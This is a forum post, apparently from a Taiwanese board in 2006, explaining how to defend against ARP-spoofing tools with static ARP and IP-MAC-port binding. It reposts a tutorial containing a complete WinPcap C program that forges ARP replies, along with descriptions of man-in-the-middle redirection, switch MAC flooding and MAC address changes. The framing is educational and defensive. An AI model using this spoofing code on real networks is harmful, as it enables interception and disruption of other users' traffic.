查看單個文章
舊 2006-07-14, 03:31 AM   #5 (permalink)
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

Q:
怎麼防網路剪刀手
有哪位老大知道怎麼防網路剪刀手 和網路執法官的辦法啊,最好是多說幾個方法 ,謝了。


A:
防範網路剪刀手等工具的辦法

網路剪刀手等工具的原理就是利用了ARP欺騙,所以,只要防止了ARP欺騙也等於防止了網路剪刀手。

解決辦法:應該把你的網路安全信任關係建立在IP+MAC卡位址基礎上,設置靜態的MAC-地址->IP對應表,不要讓主機重新整理你設定好的轉換表。

  具體步驟:編寫一個批處理文件arp.bat內容如下(假設192.168.1.2的mac地址是00-22-aa-00-22-aa):

  @echo off
  arp -d
  arp -s 192.168.1.2 00-22-aa-00-22-aa
.
.
.
arp -s 192.168.1.254 00-99-cc-00-99-cc
(所有的IP與相應MAC卡位址都按上面的格式寫好)

  將文件中的IP位址和MAC卡位址更改為您自己的網路IP位址和MAC卡位址即可。

 將這個批處理軟件拖到每一台主機的「windows--開始--程式--啟動」中。這樣每次開機時,都會重新整理ARP表。

如果有人重新整理了你的ARP快取記憶體表,你手動執行arp.bat再次恢復即可。


轉帖]MAC學習
MAC卡位址也叫物理位址、硬體位址或鏈路位址,由網路設備製造商生產時寫在硬體內部。IP位址與MAC卡位址在電腦裡都是以二進製表示的,IP位址是32位的,而MAC卡位址則是48位的。MAC卡位址的長度為48位(6個字節),通常表示為12個16進制數,每2個16進制數之間用冒號隔開,如:08:00:20:0A:8C:6D就是一個MAC卡位址,其中前6位16進制數08:00:20代表網路硬體製造商的編號,它由IEEE(電氣與電子工程師協會)分配,而後3位16進制數0A:8C:6D代表該製造商所製造的某個網路產品(如網卡)的系列號。只要你不去更改自己的MAC卡位址,那麼你的MAC卡位址在世界是惟一的。
網路剪刀手還以這樣防
進入「MS-DOS方式」或「命令提示字元」,在命令提示字元下輸入命令:ARP -s 10.88.56.72 00-10-5C-AD-72-E3,即可把MAC卡位址和IP位址捆綁在一起。這樣,就不會出現IP位址被盜用而不能正常使用網路的情況,更不會被網路剪刀手剪斷,可以有效保證小區網路的安全和用戶的應用。
注意:ARP命令僅對局域網的上網代理服務器有用,而且是針對靜態IP位址,如果採用Modem撥號上網或是動態IP位址就不起作用。
不過,只是簡單地綁定IP和MAC卡位址是不能完全的解決IP盜用問題的。作為一個網路供應商,他們有責任為用戶解決好這些問題之的後,才交給用戶使用,而不是把安全問題交給用戶來解決。不應該讓用戶來承擔一些不必要盜用的損失。
作為網路供應商,最常用也是最有效的解決方法就是在IP、MAC綁定的基礎上,再把連接阜綁定進去,即IP-MAC-PORT三者綁定在一起,連接阜(PORT)指的是交換機的連接阜。這就需要在布線時候做好連接阜定時管理工作。在布線時應該把用戶牆上的接線盒和交換機的連接阜一一對應,並做好登記工作,然後把用戶交上來的MAC卡位址填入對應的交換機連接阜,進而再和IP一起綁定,達到IP-MAC-PORT的三者綁定。這樣一來,即使盜用者擁有這個IP對應的MAC卡位址,但是它不可能同樣擁有牆上的連接阜,因此,從物理通道上隔離了盜用者。
單間的說MAC卡位址是指網卡物理位址..相當於網卡的"身份證"..它唯一的...
IP-MAC綁定是指將IP位址與MAC卡位址進行綁定.這樣子就不能任意修改IP位址了...因為MAC卡位址是唯一的..



要想會防就要先攻[轉帖]
乙太網內的嗅探(sniff)對於網路安全來說並不是什麼好事,雖然對於網路管理員能夠跟蹤資料包並且發現
網路問題,但是如果被破壞者利用的話,就對整個網路構成嚴重的安全威脅。至於嗅探的好處和壞處就不囉嗦了。


ARP快取記憶體表
假設這樣一個網路:

——————————
| HUB |
——————————
| | |
| | |
| | |
HostA HostB HostC

其中
A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假設B是屬於一個嗅探愛好者的,比如A機器的ARP快取記憶體:

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

這是192.168.10.1機器上的ARP快取記憶體表,假設,A進行一次ping 192.168.10.3操作,PING主機C,會查詢本機的
ARP快取記憶體表,找到C的IP位址的MAC卡位址,那麼就會進行資料傳輸,目的地就是C 的MAC卡位址。如果A中沒有C的ARP記
錄,那麼A首先要廣播一次ARP請求,當C接收到A 的請求後就發送一個應答,應答中包含有C的MAC卡位址,然後A接
收到C的應答,就會更新本機的ARP快取記憶體。接著使用這個MAC卡位址發送資料(由網卡附加MAC卡位址)。
因此,本機高速快取記憶體的這個ARP表是本機網路流通的基礎,而且這個快取記憶體是動態的。


集線器網路(Hub-Based)

很多網路都是用Hub進行連接的。資料包經過Hub傳輸到其他電腦的時候,Hub只是簡單地把這個資料包廣播
到Hub的所有連接阜上。
這就是上面舉例中的一種網路結構。

現在A需要發送TCP資料包給C。首先,A需要檢查本機的ARP 快取記憶體表,檢視是否有IP為192.168.10.3即C的ARP記
錄,如果沒有那麼A將要廣播一個ARP請求,當C接收到這個請求後,就作出應答,然後A更新自己的ARP快取記憶體表。並
且獲得與C的IP相對應的MAC卡位址。這時就傳輸這個TCP資料包,Ethernet幀中就包含了C的MAC卡位址。當資料包傳輸
到HUB的時候,HUB直接把整個資料包廣播到所有的連接阜,然後C就能夠接收到A發送的資料包。

正因為HUB把資料廣播到所有的連接阜,所以電腦B也能夠收到A發送給C的資料包。這正是達到了B嗅探的目的。

因此,Hub-Based的網路基本沒有安全可言,嗅探在這樣的網路中非常容易。


交換網路(Switched Lan)

交換機用來代替HUB,正是為了能夠解決HUB的幾個安全問題,其中就是能夠來解決嗅探問題。Switch不是把數
據包進行連接阜廣播,它將通過自己的ARP快取記憶體來決定資料包傳輸到那個連接阜上。因此,在交換網路上,如果把上面
例子中的HUB換為Switch,B就不會接收到A發送給C的資料包,即便設置網卡為混雜模式,也不能進行嗅探。


ARP欺騙( ARP spoofing)

ARP協議並不只在發送了ARP請求才接收ARP應答。當電腦接收到ARP應答資料包的時候,就會對本機的ARP快取記憶體
進行更新,將應答中的IP和MAC卡位址存儲在ARP快取記憶體中。因此,在上面的假設網路中,B向A發送一個自己偽造的ARP應
答,而這個應答中的資料為發送方IP位址是192.168.10.3(C的IP位址),MAC卡位址是DD-DD-DD-DD-DD-DD(C的MAC地
址本來應該是CC-CC-CC-CC-CC-CC,這裡被偽造了)。當A接收到B偽造的ARP應答,就會更新本機的ARP快取記憶體(A可不
知道被偽造了)。

現在A機器的ARP快取記憶體更新了:

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

這可不是小事。局域網的網路流通可不是根據IP位址進行,而是按照MAC卡位址進行傳輸。現在192.168.10.3的
MAC卡位址在A上被改變成一個本不存在的MAC卡位址。現在A開始Ping 192.168.10.3,網卡遞交的MAC卡位址是
DD-DD-DD-DD-DD-DD,結果是什麼呢?網路不通,A根本不能Ping通C!!

這就是一個簡單的ARP欺騙。

我們來實現這樣的ARP欺騙。這裡需要使用一個WinPcap提供的API和驅動。(http://winpcap.polito.it/)
winpcap是一個偉大而且開放的專案。Windows環境下的nmap、snort、windump都是使用的winpcap。

///////////////////////////////////////////////////////////////////////////////
//
// ARP Sender
//
// Creator: Refdom
// Email: refdom@263.net
// Home Page: www.opengram.com
//
// 2002/4/7
//
////////////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "Mac.h" //GetMacAddr(),我寫的把字元串轉換為MAC卡位址的函數,就不列在這裡了
#include <stdio.h>
#include <Packet32.h>

#define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */
#define EPT_RARP 0x8035 /* type: RARP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001 /* ARP request */
#define ARP_REPLY 0x0002 /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
unsigned char eh_dst[6]; /* destination ethernet addrress */
unsigned char eh_src[6]; /* source ethernet addresss */
unsigned short eh_type; /* ethernet pachet type */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
unsigned short arp_hrd; /* format of hardware address */
unsigned short arp_pro; /* format of protocol address */
unsigned char arp_hln; /* length of hardware address */
unsigned char arp_pln; /* length of protocol address */
unsigned short arp_op; /* ARP/RARP operation */

unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */
unsigned char arp_tha[6]; /* target hardware address */
unsigned long arp_tpa; /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];

LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;
int nRetCode, i;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}

temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}

temp++;
}

AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
printf("\n");

//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
//取第一個網卡(假設啦)

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_value))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}

lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC卡位址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC卡位址。(A的地址)

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC卡位址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP位址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目標A的MAC卡位址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標A的IP位址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!\n");
}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}

printf ("Send ok!\n");

// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}

於是A接收到一個被偽造的ARP應答。A被欺騙了!!倘若在局域網中看某某機器不順眼,……


乙太網中的嗅探太有作用了,但是交換網路對嗅探進行了限制,讓嗅探深入程度大打折扣。不過,很容易就能
夠發現,主機、Switch(動態更新地址表類型,下同)中的快取記憶體表依然是(主要是)動態的。要在一個交換網路中
進行有效的嗅探工作(地下黨?),需要採用對付各種快取記憶體表的辦法,連騙帶哄,甚至亂踹,在上面的ARP欺騙基礎
中我們就能夠做到。


對目標進行ARP欺騙

就像上面程式中實現的一樣,對目標A進行欺騙,A去Ping主機C卻發送到了DD-DD-DD-DD-DD-DD這個地址上。如
果進行欺騙的時候,把C的MAC卡位址騙為BB-BB-BB-BB-BB-BB,於是A發送到C上的資料包都變成發送給B的了。這不正
好是B能夠接收到A發送的資料包了麼,嗅探成功。
A對這個變化一點都沒有意識到,但是接下來的事情就讓A產生了懷疑。因為A和C連接不上了!!B對接收到A發送
給C的資料包可沒有轉交給C。
做「man in the middle」,進行ARP重定向。打開B的IP轉發功能,A發送過來的資料包,轉發給C,好比一個路由
器一樣。不過,假如B發送ICMP重定向的話就中斷了整個計劃。
直接進行整個包的修改轉發,捕獲到A發送給的資料包,全部進行修改後再轉發給C,而C接收到的資料包完全認為
是從A發送來的。不過,C發送的資料包又直接傳遞給A,倘若再次進行對C的ARP欺騙。現在B就完全成為A與C的中間橋
梁了。


對Switch的MAC欺騙

Switch上同樣維護著一個動態的MAC快取記憶體,它一般是這樣,首先,交換機內部有一個對應的列表,交換機的連接阜對
應MAC卡位址表Port n <-> Mac記錄著每一個連接阜下面存在那些MAC卡位址,這個表開始是空的,交換機從來往資料幀中學
習。舉例來說,當Port 1口所接的電腦發出了一個資料幀,這幀資料從Port 1進入交換機,交換機就取這個資料幀
的原MAC卡位址AAAA,然後在地址表中記錄:Port 1 <-> AAAA, 以後,所有發向MAC卡位址為AAAA的資料幀,就全從Port 1
口輸出,而不會從其它的口輸出。

跟前面對目標進行欺騙相類似。如果把Switch上的MAC-PORT表修改了,那麼對應的MAC和PORT就一樣跟著改變,本來
不應該發送到嗅探器的資料結果發送過來了,這樣也達到了嗅探的目的。修改本機(B)發送的資料包MAC卡位址為原來A的
MAC卡位址,當經過交換機的時候,交換機發現連接阜B對應的地址是機器A的MAC卡位址,於是就將會把A的MAC卡位址同連接阜B相對
應,從而把發送給A的資料從連接阜B傳輸了,本來這些應該是傳送到連接阜A的。因此,從機器B就能夠獲得發送給A的資料。

但是,這裡有一個問題,A將接收不到資料了。嗅探不目的並不是要去破壞正常的資料通訊。同時,從剛才的欺騙中,
讓交換機中一個MAC卡位址對應了多個連接阜,這種對於交換機處理還不清楚。還請多指教。


對Switch進行Flood

就像上面介紹Switch的MAC和Port對應關係形成的原理,因為MAC-PORT快取記憶體表是動態更新的,那麼讓整個Switch的端
口表都改變,對Switch進行MAC卡位址欺騙的Flood,不斷發送大量假MAC卡位址的資料包,Switch就更新MAC-PORT快取記憶體,如果
能通過這樣的辦法把以前正常的MAC和Port對應的關係破壞了,那麼Switch就會進行泛洪發送給每一個連接阜,讓Switch基
本變成一個HUB,向所有的連接阜發送資料包,要嗅探的目的一樣能夠達到。

存在的問題,Switch對這種極限情況的處理,因為屬於不正常情況,可能會引起包丟失情況。而且現在對這種極限情
況的Switch狀態還很不瞭解。如果對網路通訊造成了大的破壞,這不屬於正常的嗅探(嗅探也會引起一些丟失)。


對Switch進行各種手段的操作,需要小心,如果打開了連接阜保護,那麼可能會讓交換機關閉所有用戶。因此,對交換
機這樣的設備進行欺騙或者其他操作,還不如對一些上級設備進行欺騙,比如目標主機或者路由器。

至於上面關於嗅探的手段都是基於這個動態表進行的。因此,使用靜態的ARP就能夠進行防範了。對於WIN,使用
arp -s 來進行靜態ARP的設置。



更改MAC卡位址

一般MAC卡位址在網卡中是固定的,當然也有網路高手會想辦法去修改自己的MAC卡位址。修改自己的MAC卡位址有兩種方法,一種是硬體修改,另外一種是軟件修改。
硬體的方法就是直接對網卡進行操作,修改儲存在網卡的EPROM裡面的MAC卡位址,通過網卡生產廠家提供的修改程式可以更改存儲器裡的地址。那麼什麼叫做EPROM呢?EPROM是電子學中一種存儲器的專業術語,它是可擦寫的,也就是說一張白紙你用鋼筆寫了一遍以後就不能再用橡皮擦去了,而EPROM這張白紙用鉛筆寫後可以再擦去,可以反覆改變其中資料的存儲器。
當然軟件修改的方法就相對來說要簡單得多了,在Windows中,網卡的MAC儲存在註冊表中,實際使用也是從註冊表中提取的,所以只要修改註冊表就可以改變MAC。Windows 9x中修改:打開註冊表編輯器,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Service\Class\Net\下的0000,0001,0002。

Windows 2000/XP中的修改:同樣打開註冊表編輯器,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
Class\4D36E970-E325-11CE-BFC1-08002BE10318 中的0000,0001,0002中的DriverDesc,如果在0000找到,就在0000下面新增字元串變數,命名為「NetworkAddress」,值為要設置的MAC卡位址,例如:000102030405

完成上述操作後重啟就好了。一般網卡發出的包的源MAC卡位址並不是網卡本身寫上去的,而是應用程式提供的,只是在通常的實現中,應用程式先從網卡上得到MAC卡位址,每次發送的時候都用這個MAC作為源MAC而已,而註冊表中的MAC卡位址是在Windows安裝的時候從網卡中讀入的,只要你的操作系統不重新安裝應該問題不大。

此帖於 2006-07-14 03:58 AM 被 psac 編輯.
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次